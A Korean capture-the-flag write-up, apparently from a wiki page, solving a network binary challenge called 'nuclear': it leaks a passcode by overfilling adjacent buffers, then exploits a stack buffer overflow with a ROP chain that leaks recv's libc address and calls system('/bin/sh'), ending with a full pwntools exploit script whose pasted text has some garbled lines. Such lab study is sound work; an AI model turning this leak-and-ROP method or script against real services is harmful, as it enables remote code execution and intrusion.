Page tree

Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

사용한 도구: Ida Pro 7.0, Xshell, Python Pwntools Framework, GDB

풀이환경: Ubuntu 16.04 

htons를 이용해 0x469 포트를 열고 있는 모습을 볼수있다.


포트를 접속하면 함수 하나가 실행되는데 여기서 핵심적인 부분만 보자


passcode를 입력해서 passcode가 일치하면 또다른 함수 하나로 이동하는걸 볼수있다.

그럼 이 passcode를 얻어야하는데 사용자 입장에서는 얻을수 있는게 아무것도 없다.

하지만 메모리릭이 가능하다.

바로 이함수인데 print_string은 어떤 함수인지 보자


send함수를 통해 사용자에게 문자열을 보여주는 간단한 함수이다.

하지만 send함수를 통해 메모리릭이 가능하다.

그럼 이제 어떻게 메모리릭을 할지 보자


변수가 이런식으로 할당되어있다.

변수가 s1, v4, v5, s 이런식으로 할당되어있으니 s1, v4, v5를 꽉채우면 널바이트가 없기때문에 s도 같이 출력이 될것이다.

이제 v4, v5에 입력을 할수있어야 한다.

v4, v5는 이 부분에서 입력을 받을수있다.

그럼 이제 입력을 하고 0x238바이트만큼 넣으면 메모리릭이되어 passcode를 알수있다.


이렇게 passcode도 같이 출력이 됨을 알수있으니 이제 다른 함수로 넘어갈수있다.

음.. 딱히 취약점이 보이지않는다 start_routine 함수를 보자.

와! 취약점! 

buf가 0x20c만큼 할당하고있는데 0x512만큼 입력을 할수있으니 버퍼오버플로우가 발생한다.

그럼이제 exploit을 어떻게 할지 시나리오를 그려보자

1.system도 없고 딱히 shell을 실행시킬만한 함수가 없음.

2.ROP를 쓰자

여기서 ROP를 하기위해 필요한 가젯은

recv@plt, recv@got, send@plt. bss section, pop pop pop pop ret, offset 등등.. 이다

1.send로 recv의 라이브러리 주소를 leak 한다.

2.recv로 bss에 실행시키고 싶은 커맨드를 입력하도록 한다

3. 첫번째에서 구했던 recv 라이브러리 주소와 system 라이브러리 주소의 오프셋을 구해서 recv 라이브러리주소에서 오프셋을 빼주면 system 라이브러리가 된다.

4. system 주소에 인자로 bss를 전달하면 커맨드가 실행됨.

5. exploit!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

from pwn import *
= remote("localhost"1129)
elf = ELF("./nuclear")
cmd = "/bin/sh"
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
bss = elf.bss()
ppppr = 0x804917c
 
offset = 0x18a5a0
 
payload = "a"*528
payload += p32(send_plt) + p32(ppppr) + p32(4+ p32(recv_got) + p32(4+ p32(0# recv@got leak
 
print p.recv(2048)
p.sendline("launch")
print p.recv(2048)
p.sendline("just passcode")
print p.recv(2048)
 
p.sendline(payload)
 
print p.recvuntil("100")
recv_libc = u32(p.recv(4))
system_libc = recv_libc - offset
p.info("recv_libc : %s" %str(hex(recv_libc)))
 
p.close()
= remote("localhost"1129)
 
payload = "a"*528
payload += p32(recv_plt) + p32(ppppr) + p32(4+ p32(bss) + p32(len(cmd)) + p32(0# save command in bss
payload += p32(system_libc) + "aaaa" + p32(bss) // execute system command
print p.recv(2048)
p.sendline("launch")
print p.recv(2048)
p.sendline("just passcode")
print p.recv(2048)
 
p.sendline(payload)
sleep(1)
print p.recv(2048)
p.sendline(cmd) # exploit!
p.interactive()
 
Colored by Color Scripter

cs